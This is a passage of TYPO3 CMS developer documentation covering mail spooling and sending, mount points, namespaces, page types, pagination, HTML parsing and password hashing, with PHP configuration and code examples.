When using the filesystem for spooling, you need to define in which folder TYPO3 stores the spooled files. This folder will contain files for each email in the spool. So make sure this directory is writable by TYPO3 and not accessible to the world (outside of the webroot).

Additional notes about the mailspool path:

  • If the path is absolute, the path must either start with the root path of the TYPO3 project or the public web folder path
  • If the path is relative, the public web path is prepended to the path
  • Must not contain symlinks (important for environments with auto deployment)
  • Must not contain //, .. or \

Sending spooled mails

To send the spooled mails you need to run the following CLI command:

vendor/bin/typo3 mailer:spool:send
Copied!

This command can be set up to be run periodically using the TYPO3 Scheduler.

How to create and send mails

There are 2 ways to send emails in TYPO3 based on the Symfony API:

  1. With Fluid, using \TYPO3\CMS\Core\Mail\FluidEmail
  2. Without Fluid, using \TYPO3\CMS\Core\Mail\MailMessage

\TYPO3\CMS\Core\Mail\MailMessage and \TYPO3\CMS\Core\Mail\FluidEmail inherit from \Symfony\Component\Mime\Email and have a similar API. FluidEmail is specific for sending emails based on Fluid.

Either method can be used to send emails with HTML content, text content or both HTML and text.

Send mail with FluidEmail

This sends an email using an existing Fluid template TipsAndTricks.html, make sure the paths are setup as described in Fluid paths:

use Symfony\Component\Mime\Address;
use TYPO3\CMS\Core\Mail\FluidEmail;
use TYPO3\CMS\Core\Mail\Mailer;

$email = GeneralUtility::makeInstance(FluidEmail::class);
$email
    ->to('contact@example.org')
    ->from(new Address('jeremy@example.org', 'Jeremy'))
    ->subject('TYPO3 loves you - here is why')
    ->format(FluidEmail::FORMAT_BOTH) // send HTML and plaintext mail
    ->setTemplate('TipsAndTricks')
    ->assign('mySecretIngredient', 'Tomato and TypoScript');
GeneralUtility::makeInstance(Mailer::class)->send($email);
Copied!

A file TipsAndTricks.html must exist in one of the paths defined in $GLOBALS['TYPO3_CONF_VARS']['MAIL']['templateRootPaths'] for sending the HTML content. For sending plaintext content, a file TipsAndTricks.txt should exist.

Defining a custom email subject in a custom Fluid template:

<f:section name="Subject">New Login at "{typo3.sitename}"</f:section>
Copied!

Building templated emails with Fluid also allows to define the language key, and use this within the Fluid template:

$email = GeneralUtility::makeInstance(FluidEmail::class);
$email
    ->to('contact@example.org')
    ->assign('language', 'de');
Copied!

In Fluid, you can now use the defined language key ("language"):

<f:translate languageKey="{language}" id="LLL:EXT:my_ext/Resources/Private/Language/emails.xml:subject" />
Copied!

Send email with MailMessage

MailMessage can be used to generate and send a mail without using Fluid:

EXT:site_package/Classes/Utility/MyMailUtility.php
// Create the message
$mail = \TYPO3\CMS\Core\Utility\GeneralUtility::makeInstance(\TYPO3\CMS\Core\Mail\MailMessage::class);

// Prepare and send the message
$mail

   // Defining the "From" email address and name as an object
   // (email clients will display the name)
   ->from(new \Symfony\Component\Mime\Address('john.doe@example.org', 'John Doe'))

   // Set the "To" addresses
   ->to(
      new \Symfony\Component\Mime\Address('receiver@example.org', 'Max Mustermann'),
      new \Symfony\Component\Mime\Address('other@example.org')
   )

   // Give the message a subject
   ->subject('Your subject')

   // Give it the text message
   ->text('Here is the message itself')

   // And optionally a HTML message
   ->html('<p>Here is the message itself</p>')

   // Optionally add any attachments
   ->attachFromPath('/path/to/my-document.pdf')

   // And finally send it
   ->send()
 ;
Copied!

Or if you prefer, don't concatenate the calls:

EXT:site_package/Classes/Utility/MyMailUtility.php
use Symfony\Component\Mime\Address;
use TYPO3\CMS\Core\Utility\GeneralUtility;
use TYPO3\CMS\Core\Mail\MailMessage;

$mail = GeneralUtility::makeInstance(MailMessage::class);
$mail->from(new Address('john.doe@example.org', 'John Doe'));
$mail->to(
   new Address('receiver@example.org', 'Max Mustermann'),
   new Address('other@example.org')
);
$mail->subject('Your subject');
$mail->text('Here is the message itself');
$mail->html('<p>Here is the message itself</p>');
$mail->attachFromPath('/path/to/my-document.pdf');
$mail->send();
Copied!

How to add attachments

Attach files that exist in your file system:

EXT:site_package/Classes/Utility/MyMailUtility.php
// Attach file to message
$mail->attachFromPath('/path/to/documents/privacy.pdf');

// Optionally you can tell email clients to display a custom name for the file
$mail->attachFromPath('/path/to/documents/privacy.pdf', 'Privacy Policy');

// Alternatively attach contents from a stream
$mail->attach(fopen('/path/to/documents/contract.doc', 'r'));
Copied!

How to add inline media

Add some inline media like images in a mail:

EXT:site_package/Classes/Utility/MyMailUtility.php
// Get the image contents from a PHP resource
$mail->embed(fopen('/path/to/images/logo.png', 'r'), 'logo');

// Get the image contents from an existing file
$mail->embedFromPath('/path/to/images/signature.png', 'footer-signature');

// reference images using the syntax 'cid:' + "image embed name"
$mail->html('<img src="cid:logo"> ... <img src="cid:footer-signature"> ...');
Copied!

How to set and use a default sender

It is possible to define a default email sender ("From:") in the Install Tool:

typo3conf/AdditionalConfiguration.php
$GLOBALS['TYPO3_CONF_VARS']['MAIL']['defaultMailFromAddress'] = 'john.doe@example.org';
$GLOBALS['TYPO3_CONF_VARS']['MAIL']['defaultMailFromName'] = 'John Doe';
Copied!

This is how you can use these defaults:

EXT:site_package/Classes/Utility/MyMailUtility.php
use TYPO3\CMS\Core\Utility\GeneralUtility;
use TYPO3\CMS\Core\Utility\MailUtility;
use TYPO3\CMS\Core\Mail\MailMessage;

$from = MailUtility::getSystemFrom();
$mail = GeneralUtility::makeInstance(MailMessage::class);

// As getSystemFrom() returns an array we need to use the setFrom method
$mail->setFrom($from);
// ...
$mail->send();
Copied!

In case of the problem "Mails are not sent" in your extension, try to set a ReturnPath:. Start as before but add:

EXT:site_package/Classes/Utility/MyMailUtility.php
use TYPO3\CMS\Core\Utility\MailUtility;

// you will get a valid Email Adress from  'defaultMailFromAddress' or if not set from PHP settings or from system.
// if result is not a valid email, the final result will be no-reply@example.org..
$returnPath = MailUtility::getSystemFromAddress();
if ($returnPath != "no-reply@example.org") {
    $mail->setReturnPath($returnPath);
}
$mail->send();
Copied!

Symfony mail documentation

Please refer to the Symfony documentation for more information about available methods.

Mount points

Mount points allow TYPO3 editors to mount a page (and its subpages) from a different area in the current page tree.

The definitions are as follows:

  • Mount Point: A page with doktype set to 7 - a page pointing to a different page ("web mount") that should act as a replacement for this page and possible descendants.
  • Mounted Page, a.k.a. "Mount Target": A regular page containing content and subpages.

The idea behind it is to manage content only once and "link" / "mount" to a tree to be used multiple times - while keeping the website visitor under the impression to navigate just a regular subpage. There are concerns regarding SEO for having duplicate content, but TYPO3 can be used for more than just simple websites, as mount points are an important tool for massive multi-site installations or Intranet/Extranet installations.

A mount point has the option to either display the content of the mount point itself or the content of the target page when visiting this page.

Due to TYPO3's principles of slug handling where a page contains one single slug containing the whole URL path of that page, TYPO3 will combine the slug of the mount point and a smaller part of the Mounted Page or subpages of the Mounted Page, which will be added to the URL string.

Mounted subpages don't have a representation of their own in the page tree, meaning they cannot be linked directly. However, the TYPO3 menu generation will take mount points into account and generate subpage links accordingly.

Simple usage example

Consider this setup:

example page tree
page   tree
====== ====================
1      Root
2      ├── Basic Mount Point    <- mount point, mounting page 3
3      └── Company              <- mounted by page 2
4          └── About us
Copied!

Let's assume the mount point page two is configured like this:

Data in the mount point
Title         :  Basic Mount Point
URL segment   :  basic-mountpoint
Target page   :  Company
Display option:  "Show the mounted page" (subpages included)
Copied!

The result will be:

company

https://example.org/company/

This is just the normal page 3 showing its content.

basic-mountpoint

https://example.org/basic-mountpoint/

This is the mount point page 2 showing the content of page 3.

about-us
https://example.org/basic-mountpoint/about-us
https://example.org/company/about-us

Both URLs will show the same content, namely that of page 4.

Multi-site support

Mount points generally support cross-site mounts. The context for cross-domain sites is kept, ensuring that the user will never notice that content might be coming from a completely different site or pagetree within TYPO3.

Creating links for multi-site mount points works the same way as in a same site setup.

Situation:

example page tree
Page   Tree
====== ====================

1      Site 1: example.org
2      └── Company              <- mounted by page 5
3          └── About us

4      Site 2: company.example.org
5      └── Cross site mount     <- mount point page that is mounting page 2
Copied!

Configuration of mount point page 5:

Data in the mount point
Title         :  Cross site mount
URL segment   :  cross-site-mount
Target page   :  Company
Display option:  "Show the mounted page" (subpages included)
Copied!

This will be the result:

company
https://example.org/company
https://company.example.org/cross-site-mount/

Both pages are rendered from the same content. They may appear visually different though if the sites use different styles.

company/about-us
https://example.org/company/about-us
https://company.example.org/cross-site-mount/about-us

Same here: Both pages are rendered from the same content. They may appear visually different though if the sites use different styles.

Limitations

  1. Multi-language support

    Please be aware that multi-language setups are generally supported, but this only works if both sites use the same language IDs (for example, you cannot combine a site with a configured language ID 13 with a site using only ID 1).

  2. Slug uniqueness when using Multi-Site setups cannot be ensured

    If a Mount Point Page has the slug "/more", mounting a page with "/imprint" subpage, but the Mount Point Page has a regular sibling page with "/more/imprint" a collision cannot be detected. In contrast, the non-mounted page would always work, and a subpage of a Mounted Page would never be reached.:

    example page tree
    Page   Tree
    ====== ====================
    
    1      Site 1: example.org
    2      └── More              <- mounted by page 5
    3          └── Imprint       <- page will never be reached via Site 2
    
    4      Site 2: company.example.org
    5      └── More              <- mount point page that is mounting page 2
    6      └── Imprint           <- slug manually configured to `more/imprint/`
    Copied!

See also

Related TypoScript properties:

Namespaces

TYPO3 uses PHP namespaces for all classes in the Core.

The general structure of namespaces is the following:

General namespace schema
\{VendorName}\{PackageName}\({CategoryName}\)*{ClassName}
Copied!

For the Core, the vendor name is \TYPO3\CMS and the package name corresponds to a system extension.

All classes must be located inside the Classes folder at the root of the (system) extension. The category name may contain several segments that correspond to the path inside the Classes folder.

Finally the class name is the same as the corresponding file name, without the .php extension.

"UpperCamelCase" is used for all segments.

Core example

The good old t3lib_div class has been renamed to: \TYPO3\CMS\Core\Utility\GeneralUtility

This means that the class is now found in the core system extension, in folder Classes/Utility, in a file named GeneralUtility.php.

Usage in extensions

Extension developers are free to use their own vendor name. Important: It may consist of one segment only. Vendor names must start with an uppercase character and are usually written in UpperCamelCase style. In order to avoid problems with different filesystems, only the characters a-z, A-Z, 0-9 and the dash sign "-" are allowed for package names – don't use special characters:

Examples for vendor names
// correct vendor name for 'web company':
\WebCompany

// wrong vendor name for 'web company':
\Web\Company
Copied!

The package name corresponds to the extension key. Underscores in the extension key are removed in the namespace and replaced by upper camel-case. So extension key:

Do not do this
weird-name_examples
Copied!

would become:

Do not do this
Weird-nameExamples
Copied!

in the namespace.

As mentioned above, all classes must be located in the Classes folder inside your extension. All sub-folders translate to a segment of the category name and the class name is the file name without the .php extension.

Looking at the "examples" extension, file examples/Classes/Controller/DefaultController.php

corresponds to the class with \Documentation\Examples\Controller\DefaultController as fully qualified name.

Inside the class, the namespace is declared as:

EXT:examples/Classes/Controller/DefaultController.php
<?php
namespace Documentation\Examples\Controller;
Copied!

Namespaces in Extbase

When registering components in Extbase, the "UpperCamelCase" notation of the extension key is used.

For a backend module:

EXT:my_extension/ext_tables.php
use TYPO3\CMS\Extbase\Utility\ExtensionUtility;

ExtensionUtility::registerModule(
    '<ExtensionName>',
    // ...
);
Copied!

For a frontend module:

EXT:my_extension/ext_tables.php
use TYPO3\CMS\Extbase\Utility\ExtensionUtility;

ExtensionUtility::configurePlugin(
    '<ExtensionName>',
    // ...
);
Copied!

Namespaces for test classes

As for ordinary classes, namespaces for test classes start with a vendor name followed by the extension key.

All test classes reside in a Tests folder and thus the third segment of the namespace must be "Tests". Unit tests are located in a Unit folder which is the fourth segment of the namespace. Any further subfolders will be subsequent segments.

So a test class in EXT:foo_bar_baz/Tests/Unit/Bla/ will have as namespace \MyVendor\FooBarBaz\Tests\Unit\Bla.

Creating Instances

The following example shows how you can create instances by means of GeneralUtility::makeInstance():

EXT:some_extension/Classes/Controller/SomeController.php
use TYPO3\CMS\Core\Utility\GeneralUtility;
use TYPO3\CMS\Frontend\ContentObject\ContentObjectRenderer;

$contentObject = GeneralUtility::makeInstance(ContentObjectRenderer::class);
Copied!

include and required

There is no need for require() or include() statements. All classes adhering to namespace conventions will automatically be located and included by the autoloader.

References

For more information about PHP namespaces in general, you may want to refer to the PHP documentation and in particular the Namespaces FAQ.

Introduction

The $GLOBALS['PAGE_TYPES'] array

Global array $GLOBALS['PAGES_TYPES'] defines the various types of pages (field: doktype) the system can handle and what restrictions may apply to them. Here you can define which tables are allowed on a certain page type.

This is the default array as set in EXT:core/ext_tables.php:

typo3/sysext/core/ext_tables.php
$GLOBALS['PAGES_TYPES'] = [
   (string)\TYPO3\CMS\Core\Domain\Repository\PageRepository::DOKTYPE_BE_USER_SECTION => [
      'allowedTables' => '*'
   ],
   (string)\TYPO3\CMS\Core\Domain\Repository\PageRepository::DOKTYPE_SYSFOLDER => [
      //  Doktype 254 is a 'Folder' - a general purpose storage folder for whatever you like.
      // In CMS context it's NOT a viewable page. Can contain any element.
      'allowedTables' => '*'
   ],
   (string)\TYPO3\CMS\Core\Domain\Repository\PageRepository::DOKTYPE_RECYCLER => [
      // Doktype 255 is a recycle-bin.
      'allowedTables' => '*'
   ],
   'default' => [
      'allowedTables' => 'pages,sys_category,sys_file_reference,sys_file_collection',
      'onlyAllowedTables' => false
   ],
];
Copied!

The key used in the array above is the value that will be stored in the doktype field of the "pages" table.

Each array has the following options available:

Key

Description

type

Can be "sys" or "web". This is purely informative, as TYPO3 does nothing with that piece of data.

allowedTables

The tables that may reside on pages with that "doktype". Comma-separated list of tables allowed on this page doktype. "*" = all.

onlyAllowedTables

Boolean. If set to true, changing the page type will be blocked if the chosen page type contains records that it would not allow.

Types of pages

TYPO3 has predefined a number of pages types as constants in typo3/sysext/core/Classes/Domain/Repository/PageRepository.php.

What role each page type plays and when to use it is explained in more detail in Page types. Some of the page types require additional fields in pages to be filled out:

DOKTYPE_DEFAULT - ID: 1
Standard
DOKTYPE_LINK - ID: 3

Link to External URL

This type of page creates a redirect to an URL in the frontend. The URL is specified in the field pages.url.

DOKTYPE_SHORTCUT - ID: 4

Shortcut

This type of page creates a redirect to another page in the frontend. The shortcut target is specified in the field pages.shortcut, shortcut mode is stored in pages.shortcut_mode.

DOKTYPE_BE_USER_SECTION - ID: 6
Backend user Section
DOKTYPE_MOUNTPOINT - ID: 7

Mount point

The mounted page is specified in pages.mount_pid, while display options can be changed with pages.mount_pid_ol. See MountPoints documentation.

DOKTYPE_SPACER - ID: 199
Menu separator
DOKTYPE_SYSFOLDER - ID: 254
Folder
DOKTYPE_RECYCLER - ID: 255
Recycler

X-Redirect-By header for pages with redirect types

The following page types trigger a redirect:

  • Shortcut
  • Mount point pages which should be overlaid when accessed directly
  • Link to external URL

Those redirects will send an additional HTTP Header X-Redirect-By, stating what type of page triggered the redirect. By enabling the global option $GLOBALS['TYPO3_CONF_VARS']['FE']['exposeRedirectInformation'] the header will also contain the page ID. As this exposes internal information about the TYPO3 system publicly, it should only be enabled for debugging purposes.

For shortcut and mountpoint pages:

Generated HTTP header
X-Redirect-By: TYPO3 Shortcut/Mountpoint
# exposeRedirectInformation is enabled
X-Redirect-By: TYPO3 Shortcut/Mountpoint at page with ID 123
Copied!

For Links to External URL:

Generated HTTP header
X-Redirect-By: TYPO3 External URL
# exposeRedirectInformation is enabled
X-Redirect-By: TYPO3 External URL at page with ID 456
Copied!

The header X-Redirect-By makes it easier to understand why a redirect happens when checking URLs, e.g. by using curl:

Using curl to check the HTTP header
curl -I 'https://example.org/examples/pages/link-to-external-url/'

HTTP/1.1 303 See Other
Date: Thu, 17 Sep 2020 17:45:34 GMT
X-Redirect-By: TYPO3 External URL at page with ID 12
X-TYPO3-Parsetime: 0ms
location: https://example.org
Cache-Control: max-age=0
Expires: Thu, 17 Sep 2020 17:45:34 GMT
X-UA-Compatible: IE=edge
Content-Type: text/html; charset=UTF-8
Copied!

Create new Page Type

The following example adds a new page type called "Archive".

The new page type visible in the TYPO3 backend

The whole code to add a page type is shown below with the according file names above.

The first step is to add the new page type to the global array described above. Then you need to add the icon chosen for the new page type and allow users to drag and drop the new page type to the page tree.

The new page type is added to $GLOBALS['PAGES_TYPES'] in ext_tables.php:

EXT:some_extension/ext_tables.php
(function ($extKey='some_extension') {
   $archiveDoktype = 116;

   // Add new page type:
   $GLOBALS['PAGES_TYPES'][$archiveDoktype] = [
       'type' => 'web',
       'allowedTables' => '*',
   ];

})();
Copied!

User TSconfig is added and an icon is registed in ext_localconf.php:

EXT:some_extension/ext_localconf.php
(function ($extKey='some_extension') {
   $archiveDoktype = 116;

   // Provide icon for page tree, list view, ... :
   $iconRegistry = \TYPO3\CMS\Core\Utility\GeneralUtility::makeInstance(\TYPO3\CMS\Core\Imaging\IconRegistry::class);
   $iconRegistry
       ->registerIcon(
           'apps-pagetree-archive',
           TYPO3\CMS\Core\Imaging\IconProvider\SvgIconProvider::class,
           [
               'source' => 'EXT:' . $extKey . '/Resources/Public/Icons/Archive.svg',
           ]
       );
   $iconRegistry
       ->registerIcon(
           'apps-pagetree-archive-contentFromPid',
           TYPO3\CMS\Core\Imaging\IconProvider\SvgIconProvider::class,
           [
               'source' => 'EXT:' . $extKey . '/Resources/Public/Icons/ArchiveContentFromPid.svg',
           ]
       );
   // ... register other icons in the same way, see below.

   // Allow backend users to drag and drop the new page type:
   \TYPO3\CMS\Core\Utility\ExtensionManagementUtility::addUserTSConfig(
       'options.pageTree.doktypesToShowInNewPageDragArea := addToList(' . $archiveDoktype . ')'
   );
})();
Copied!

Furthermore we need to modify the configuration of "pages" records. As one can modify the pages, we need to add the new doktype as select item and associate it with the configured icon. That's done in Configuration/TCA/Overrides/pages.php:

EXT:Configuration/TCA/Overrides/pages.php
(function ($extKey='example', $table='pages') {
   $archiveDoktype = 116;

   // Add new page type as possible select item:
   \TYPO3\CMS\Core\Utility\ExtensionManagementUtility::addTcaSelectItem(
       $table,
       'doktype',
       [
           'LLL:EXT:' . $extKey . '/Resources/Private/Language/locallang.xlf:archive_page_type',
           $archiveDoktype,
           'EXT:' . $extKey . '/Resources/Public/Icons/Archive.svg',
           'default'
       ],
       '1',
       'after'
   );

   \TYPO3\CMS\Core\Utility\ArrayUtility::mergeRecursiveWithOverrule(
       $GLOBALS['TCA'][$table],
       [
           // add icon for new page type:
           'ctrl' => [
               'typeicon_classes' => [
                   $archiveDoktype => 'apps-pagetree-archive',
                   $archiveDoktype . '-contentFromPid' => "apps-pagetree-archive-contentFromPid",
                   $archiveDoktype . '-root' => "apps-pagetree-archive-root",
                   $archiveDoktype . '-hideinmenu' => "apps-pagetree-archive-hideinmenu",
               ],
           ],
           // add all page standard fields and tabs to your new page type
           'types' => [
               $archiveDoktype => [
                   'showitem' => $GLOBALS['TCA'][$table]['types'][\TYPO3\CMS\Core\Domain\Repository\PageRepository::DOKTYPE_DEFAULT]['showitem']
               ]
           ]
       ]
   );
})();
Copied!

As you can see from the example, to make sure you get the correct icons, you can utilize typeicon_classes.

For the following cases you need to configure icons explicitly, otherwise they will automatically fall back to the variant for regular page doktypes.

  • Page contains content from another page (<doktype>-contentFromPid)
  • Page is hidden in navigation (<doktype>-hideinmenu)
  • Page is site-root (<doktype>-root)

Pagination

The TYPO3 Core provides an interface to implement the native pagination of lists like arrays or query results of Extbase.

The foundation of that new interface \TYPO3\CMS\Core\Pagination\PaginatorInterface is that it's type agnostic. It means, that it doesn't define the type of paginatable objects. It's up to the concrete implementations to enable pagination for specific types. The interface only forces you to reduce the incoming list of items to an iterable sub set of items.

Along with that interface, an abstract paginator class \TYPO3\CMS\Core\Pagination\AbstractPaginator is available that implements the base pagination logic for any kind of Countable set of items while it leaves the processing of items to the concrete paginator class.

Two concrete paginators are available:

  • For type array: \TYPO3\CMS\Core\Pagination\ArrayPaginator
  • For type \TYPO3\CMS\Extbase\Persistence\QueryResultInterface : \TYPO3\CMS\Extbase\Pagination\QueryResultPaginator

Code-Example for the ArrayPaginator:

// use TYPO3\CMS\Core\Pagination\ArrayPaginator;

$itemsToBePaginated = ['apple', 'banana', 'strawberry', 'raspberry', 'pineapple'];
$itemsPerPage = 2;
$currentPageNumber = 3;

$paginator = new ArrayPaginator($itemsToBePaginated, $currentPageNumber, $itemsPerPage);
$paginator->getNumberOfPages(); // returns 3
$paginator->getCurrentPageNumber(); // returns 3, basically just returns the input value
$paginator->getKeyOfFirstPaginatedItem(); // returns 5
$paginator->getKeyOfLastPaginatedItem(); // returns 5

// use TYPO3\CMS\Core\Pagination\SimplePagination;

$pagination = new SimplePagination($paginator);
$pagination->getAllPageNumbers(); // returns [1, 2, 3]
$pagination->getPreviousPageNumber(); // returns 2
$pagination->getNextPageNumber(); // returns null
// …
Copied!

Parsing HTML

TYPO3 provides its own HTML parsing class: \TYPO3\CMS\Core\Html\HtmlParser. This chapter shows some example uses.

Extracting Blocks From an HTML Document

The first example shows how to extract parts of a document. Consider the following code:

EXT:some_extension/Classes/SomeClass.php
$testHTML = '
   <DIV>
      <IMG src="welcome.gif">
      <p>Line 1</p>
      <p>Line <B class="test">2</B></p>
      <p>Line <b><i>3</i></p>
      <img src="test.gif" />
      <BR><br/>
      <TABLE>
         <tr>
            <td>Another line here</td>
         </tr>
      </TABLE>
   </div>
   <B>Text outside div tag</B>
   <table>
      <tr>
         <td>Another line here</td>
      </tr>
   </table>
';

   // Splitting HTML into blocks defined by <div> and <table> tags
$parseObj = \TYPO3\CMS\Core\Utility\GeneralUtility::makeInstance(\TYPO3\CMS\Core\Html\HtmlParser::class);
$result = $parseObj->splitIntoBlock('div,table', $testHTML);
Copied!

After loading some dummy HTML code into a variable, we create an instance of \TYPO3\CMS\Core\Html\HtmlParser and ask it to split the HTML structure on "div" and "table" tags. A debug output of the result shows the following:

Debug output of HTML parsing

The HTML parsed into several blocks

As you can see the HTML source has been divided so the "div" section and the "table" section are found in key 1 and 3. Odd key always correspond to the extracted content and even keys to the content outside of the extracted parts.

Notice that the table inside of the "div" section was not "found". When you split content like this you get only elements on the same block-level in the source. You have to traverse the content recursively to find all tables - or just split on <table> only (which will not give you tables nested inside of tables though).

Note also how the HTML parser does not care for case (upper or lower, all tags were found).

Extracting Single Tags

It is also possible to split by non-block tags, for example "img" and "br":

EXT:some_extension/Classes/SomeClass.php
$result = $parseObj->splitTags('img,br', $testHTML);
Copied!

with the following result:

Debug output of HTML parsing

The HTML split along some tags

Again, all the odd keys in the array contain the tags that were found. Note how the parser handled transparently simple tags or self-closing tags.

Cleaning HTML Content

The HTML parsing class also provides a tool for manipulating HTML with the HTMLcleaner() method. The cleanup configuration is quite extensive. Please refer to the phpDoc comments of the HTMLcleaner() method for more details.

Here is a sample usage:

EXT:some_extension/Classes/SomeClass.php
$tagCfg = array(
   'b' => array(
      'nesting' => 1,
      'remap' => 'strong',
      'allowedAttribs' => 0
   ),
   'img' => array(),
   'div' => array(),
   'br' => array(),
   'p' => array(
      'fixAttrib' => array(
         'class' => array(
            'set' => 'bodytext'
         )
      )
   )
);
$result = $parseObj->HTMLcleaner(
   $testHTML,
   $tagCfg,
   FALSE,
   FALSE,
   array('xhtml' => 1)
);
Copied!

We first define our cleanup/transformation configuration. We define that only five tags should be kept ("b", "img", "div", "br" and "p"). All others are removed (HTMLcleaner() can be configured to keep all possible tags).

Additionally we indicate that "b" tags should be changed to "strong" and that correct nesting is required (otherwise the tag is removed). Also no attributed are allowed on "b" tags.

For "p" tags we indicate that the "attribute" should be added with value "bodytext".

Lastly - in the call to HTMLcleaner() itself, we request "xhtml" cleanup.

This is the result:

Debug output of cleaned up HTML

The cleaned up HTML code

Advanced Processing

There's much more that can be achieved with \TYPO3\CMS\Core\Html\HtmlParser in particular more advanced processing using callback methods that can perform additional work on each parsed element, including calling the HTML parser recursively.

This is too extensive to cover here.

Password hashing

Introduction

TYPO3 never stores passwords in plain text in the database. If the latest configured hash algorithm has been changed, TYPO3 will update the stored frontend and backend user password hashes upon user login.

TYPO3 uses modern hash algorithms suitable for the given PHP platform, the default being Argon2i.

This section is for administrators and users who want to know more about TYPO3 password hashing and have a basic understanding of hashing algorithms and configuration in TYPO3.

Basic knowledge

If a database has been compromised and the passwords have been stored as plain text, the attacker has most likely gained access to more than just the user's TYPO3 Frontend / Backend account. It's not uncommon for someone to use the same email and password combination for more than one online service, such as their bank account, social media accounts, or even their email provider.

To mitigate this risk, we can use one-way hash algorithms to transform a plain text password into an incomprehensible string of seemingly "random" characters. A hash, (also known as a checksum), is the result of a value (in this case the user's password) that has been transformed using a one-way function. Hashes are called "one-way functions" because they're quick and easy to generate, but incredibly hard to undo. You would require an incredible amount of computational power and time to try and reverse a hash back to its original value.

When a user tries to log in and submits their password through the login form, the same one-way function is performed and the result is compared against the hash stored in the database. If they're the same, we can safely assume the user typed in the correct password without ever needing to store their actual password!

The most well-known hash algorithm is MD5. Basic hash algorithms and especially MD5 have drawbacks though: First, if you find some other string that resolves to the same hash, you're screwed (that's called a collision). An attacker could login with a password that is not identical to "your" password, but still matches the calculated hash. And second, if an attacker just calculates a huge list of all possible passwords with their matching hashes (this is called a rainbow table) and puts them into a database to compare any given hash with, it can easily look up plain text passwords for given hashes. A simple MD5 hash is susceptible to both of these attack vectors and thus deemed insecure. MD5 rainbow tables for casual passwords can be found online and MD5 collision creation can be done without too many issues. In short: MD5 is not a suitable hashing algorithm for securing user passwords.

To mitigate the rainbow table attack vector, the idea of "salting" has been invented: Instead of hashing the given password directly and always ending up with the same hash for the same password (if different users use the same password they end up with the same hash in the database), a "salt" is added to the password. This salt is a random string calculated when the password is first set (when the user record is created) and stored together with the hash. The basic thinking is that the salt is added to the password before hashing, the "salt+password" combination is then hashed. The salt is stored next to the hash in the database. If then a user logs in and submits their username and password, the following happens:

  1. the requested user is looked up in the database,
  2. the salt of this user is looked up in the database,
  3. the submitted password is concatenated with the salt of the user,
  4. the "salt+password" combination is then hashed and compared with the stored hash of the user.

This is pretty clever and leads to the situation that users with the same password end up with different hashes in the database since their randomly calculated salt is different. This effectively makes rainbow tables (direct hash to password lists) unfeasible.

During the past years, further attack vectors to salted password hashes have been found. For example, MD5 hash attacks have been optimized such they are extremely quick on some platforms, where billions of hashes per second can be calculated with decent time and money efforts. This allows for easy password guessing, even with salted hashes. Modern password hash algorithms thus try to mitigate these attack vectors. Their hash calculation is expensive in terms of memory and CPU time even for short input string like passwords (short as in "not a book of text") and they can not be easily split into parallel sections to run on many systems in parallel or optimized into chunks by re-using already computed sections for different input again.

TYPO3 improved its standards in password hash storing over a long time and always went with more modern approaches: Core version v4.3 from 2009 added salted password storing, v4.5 from 2011 added salted passwords storing using the algorithm 'phpass' by default, v6.2 from 2014 made salted passwords storing mandatory, v8 added the improved hash algorithm 'PBKDF2' and used it by default.

Currently Argon2i is the default and provided automatically by PHP. Argon2i is rather resilient against GPU and some other attacks, the default TYPO3 Core configuration even raises the default PHP configuration to make attacks on stored Argon2i user password hashes even more unfeasible.

This is the current state if you are reading this document. The rest is about details: It is possible to register own password hash algorithms with an extension if you really think this is needed. And it is possible to change options for frontend and backend user hash algorithms. By default however, TYPO3 automatically selects a good password hash algorithm and administrators usually do not have to take care of it. The PHP API is pretty straight forward and helps you to compare passwords with their stored hashes if needed in extensions.

One last point on this basic hash knowledge section: Password hashes are always only as secure as the user submitted password: If a user has a trivial password like "foo", an attacker who got hold of the salted password hash will always be successful to crack the hash with a common password hash crack tool, no matter how expensive the calculation is. Good password hashing does not rescue users from short passwords or simple passwords that can be found in a dictionary. It is usually a good idea to force users to register with a password that for instance at least has some minimum length.

What does it look like?

Below is an example of a frontend user with its stored password hash. Since TYPO3 can handle multiple different hash mechanisms in parallel, each hash is prefixed with a unique string that identifies the used hash algorithm. In this case it is $argon2i which denotes the Argon2i hash algorithm:

Data of a frontend user in the database
MariaDB [cms]> SELECT uid,username,password FROM fe_users WHERE uid=2;
+-----+----------+---------------------------------------------------------------------------------------------------+
| uid | username | password                                                                                          |
+-----+----------+---------------------------------------------------------------------------------------------------+
|   2 | someuser | $argon2i$v=19$m=16384,t=16,p=2$WFdVRjdqVy9TbVJPajNqcA$vMDP/TBSR0MSA6yalyMpBmFRbCD8UR4bbHZma59yNjQ |
+-----+----------+---------------------------------------------------------------------------------------------------+
1 row in set (0.01 sec)
Copied!

Configuration

Configuration of password hashing is done by TYPO3 automatically and administrators usually do not need to worry about details too much: The installation process will configure the best available hash algorithm by default. This is usually Argon2i. Only if the PHP build is incomplete, some less secure fallback will be selected.

Switching between hash algorithms in a TYPO3 instance is unproblematic: Password hashes of the old selected algorithm are just kept but newly created users automatically use the new hash algorithms. If a user successfully logs in and a hash in the database for that user is found that uses an algorithm no longer configured as default hash algorithm, the user password hash will be upgraded to the currently selected hash algorithm. This way, existing user password hashes are updated to better hash algorithms over time, upon login.

Note that "dead" users (users that don't use the site anymore and never login) will thus never get their hashes upgraded to better algorithms. This is an issue that can't be solved on this hash level directly since upgrading the password hash always requires the plain text password submitted by the user. However, it is a good idea to clean up dead users from the database anyway, site administrators should establish processes to comply with the idea of data minimisation of person related data. TYPO3 helps here for instance with the "Table garbage collection" task of the scheduler extension, details on this are however out-of-scope of this section.

To verify and select which specific hash algorithm is currently configured for frontend and backend users, a preset of the settings module is available. It can be found in Admin Tools > Settings > Configuration presets > Password hashing settings:

Argon2i active for frontend and backend users

The image shows settings for an instance that runs with frontend and backend users having their passwords stored as Argon2i hashes in the database. The other listed algorithms are deemed less secure, they however rely on different PHP capabilities and might be suitable fall backs if Argon2i is not available for whatever reason.

Configuration options

Configuration of password hashing is stored in LocalConfiguration.php with defaults in EXT:core/Configuration/DefaultConfiguration.php (GitHub) at five places:

$GLOBALS['TYPO3_CONF_VARS']['SYS']['availablePasswordHashAlgorithms']
An array of class names. This is the list of available password hash algorithms. Extensions may extend this list if they need to register new (and hopefully even more secure) hash algorithms.
$GLOBALS['TYPO3_CONF_VARS']['FE']['passwordHashing']['className']
The salt class name configured as default hash mechanism for frontend users.
$GLOBALS['TYPO3_CONF_VARS']['FE']['passwordHashing']['options']
Special options of the configured hash algorithm. This is usually an empty array to fall back to defaults, see below for more details.

Available hash algorithms

